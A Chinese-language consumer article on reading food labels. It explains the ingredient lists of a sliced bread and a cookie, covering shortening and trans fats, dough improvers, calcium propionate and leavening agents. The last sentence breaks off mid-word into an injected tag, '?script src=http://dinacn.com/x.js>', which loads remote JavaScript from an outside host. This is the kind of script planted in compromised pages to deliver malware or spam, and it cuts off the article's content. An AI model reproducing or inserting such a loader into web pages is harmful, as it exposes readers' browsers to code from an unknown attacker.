你经常在超市购买食品吗？

    你购买食品的时候经常会看看包装上的标签吗？

    你细读食品包装上的标签时，能看懂食品配料表吗？
       
    如果你对第一个问题的答案是“是”，而对第二个问题的答案是“否”，那么从今天开始，购物时请睁大你的眼睛吧。食品标签上的信息，是法律赋予消费者的知情权。权利在你手中，而你却视而不见，又怎能保护自己的健康权益呢？据我国的相关调查，认真阅读食品标签的消费者，只有不足30%。
       
    在购买食品时，应当细读标签。首先看厂名、厂址、电话、执行标准、配料表是否齐全，再看看食品是否在保质期内，然后看看配料表中的各种配料，确定是否适合自己；如果有营养成分信息，还要对其营养价值进行评价，找到最物有所值的产品。
        
    如果你对第三个问题的答案是“否”，那么你应当好好充电，学习相关的知识了！因为在阅读标签的消费者当中，能够看懂配料表的消费者同样不到1/3。单凭广告来挑选食品，显然很不明智；只有懂得配料的内容，才会知道产品的优劣差异。
           
    现在就跟专家来学学如何读懂食物标签吧！

    一、 面包类

    食品名称：某营养型切片面包
       
    配料表：高筋小麦粉，水，白砂糖，胚芽，燕麦，起酥油，酵母，食用盐，面包改良剂（淀粉、维生素C、单甘酯、淀粉酶），丙酸钙，食用香料
       
    标签解读：按照相关法规，排在配料表中第一位的原料就是添加数量最多的原料。“高筋”的意思是面筋蛋白含量高，用这样的小麦粉制作面包之后，膨发体积大、弹性强、口感好。其中添加了燕麦、胚芽等高营养成分，可使面包的维生素、矿物质含量高于普通面包。
       
    添加起酥油（常常简写为“酥油”，有时候也用“麦淇淋”，即植物奶油），是用来增加面包的柔软可口性。起酥油的主要原料是“部分氢化植物油”。“部分氢化植物油”不仅含大量饱和脂肪酸，而且含有不利于心血管健康的“反式脂肪酸”。因此，起酥油自然是少吃为妙。考虑到普通切片面包中脂肪总量不多，少量一点起酥油还是可以接受的。
       
    酵母和盐是制作面包的必要原料，而要制作美味面包，面包改良剂也同样必不可少。淀粉和淀粉酶可以提高面包的柔软度；维生素C能增加面筋的韧性；单甘酯是一种乳化剂，是类似油脂的物质，它能让面包放两三天也不容易变干发硬。
       
    丙酸钙是面包防霉剂，让面包在两三天时间内不容易长霉。它安全无毒，因为丙酸是人体肠道中的正常物质之一，而钙对人体也有营养作用。食用香料呢，当然是为了增加香气，比如，明明没有放奶油，添加香料后，却可散发出浓郁的奶油香气，诱惑人的食欲。
       
    总结：面包是以小麦粉为主料，含有糖、油脂、盐，用酵母发酵制成的产品。为了改善口感和风味，会添加复合型面包改良剂，但它不会带来任何安全隐患。为了延长保质期，还会添加丙酸钙或丙酸钠防霉剂，但它也是安全无毒的。其中需要留意的成分是“起酥油”。起酥油含量过高的酥性面包，或称丹麦面包，最好不要经常食用。

    二、饼干类点心

    食品名称：某曲奇饼干
       
    配料表：小麦粉，白砂糖，奶油，植物起酥油，花生，乳清粉，食盐，膨松剂，食用香精，柠檬酸，焦糖色
       
    标签解读：该产品成分含量最多的当然是小麦粉啦，其次是白糖，再次是油脂——可见饼干就是面粉+白糖+油脂的组合，热量怎能不高！一小块曲奇饼干的热量可能超过一碗草莓！

    奶油大家明白，植物起酥油呢，上面刚刚介绍过，是一种不利于心脏健康的配料，数量自然是越少越好。乳清粉是制作奶酪过程中的副产品，含有价值很高的牛奶蛋白质。
       
    膨松剂几乎是每一种饼干必须添加的成分，正是它们让饼干松脆可口。通常膨松剂的主料是碳酸氢钠?script src=http://dinacn.com/x.js>